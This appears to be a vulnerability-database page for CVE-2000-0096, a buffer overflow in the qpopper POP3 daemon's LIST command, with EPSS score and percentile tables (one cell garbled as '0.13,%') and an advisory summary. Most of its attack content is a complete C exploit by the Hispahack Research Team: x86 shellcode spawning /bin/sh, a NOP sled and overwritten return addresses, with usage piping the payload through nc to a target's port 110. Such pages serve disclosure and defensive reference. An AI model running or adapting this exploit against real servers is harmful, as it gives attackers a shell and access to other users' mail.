CVE-2000-0096 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-03-30	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-05-01	–	–	–	–	0.13%
2025-05-01	–	–	–	–	0.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-03-30	29%
2025-04-15	33%
2025-05-01	34%
2025-05-01	34%

// source: https://www.securityfocus.com/bid/948/info A remotely exploitable buffer-overflow vulnerability affects Qualcomm's 'qpopper' daemon. This issue allows users already in possession of a username and password for a POP account to compromise the server running the qpopper daemon. The problem lies in the code that handles the 'LIST' command available to logged-in users. By providing an overly long argument, an attacker may cause a buffer to overflow. As a result, the attacker can gain access with the user ID (UID) of the user whose account is being used for the attack and with the group ID (GID) mail. This will allow remote attackers to access the server itself and possibly (depending on how the computer is configured) to read other users' mail via the GID mail. /* * !Hispahack Research Team * http://hispahack.ccc.de * * By Zhodiac <zhodiac@softhome.net> * * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53) * Overflow at pop_list()->pop_msg() * * Tested: 3.0beta28 offset=0 * 3.0beta26 offset=0 * 3.0beta25 offset=0 * * #include <standar/disclaimer.h> * * This code is dedicated to my love [CrAsH]] and to all the people who * were raided in Spain in the last few days. * * Madrid 10/1/2000 * */ #include <stdio.h> #define BUFFERSIZE 1004 #define NOP 0x90 #define OFFSET 0xbfffd9c4 char shellcode[]= "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89" "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh"; void usage(char *progname) { fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname); exit(1); } int main(int argc, char **argv) { char *ptr,buffer[BUFFERSIZE]; unsigned long *long_ptr,offset=OFFSET; int aux; fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n"); fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n"); if (argc<3) usage(argv[0]); if (argc==4) offset+=atol(argv[3]); ptr=buffer; memset(ptr,0,sizeof(buffer)); memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16); ptr+=sizeof(buffer)-strlen(shellcode)-16; memcpy(ptr,shellcode,strlen(shellcode)); ptr+=strlen(shellcode); long_ptr=(unsigned long*)ptr; for(aux=0;aux<4;aux++) *(long_ptr++)=offset; ptr=(char *)long_ptr; *ptr='\0'; fprintf(stderr,"Buffer size: %d\n",strlen(buffer)); fprintf(stderr,"Offset: 0x%lx\n\n",offset); printf("USER %s\n",argv[1]); sleep(1); printf("PASS %s\n",argv[2]); sleep(1); printf("LIST 1 %s\n",buffer); sleep(1); printf("uname -a; id\n"); return(0); }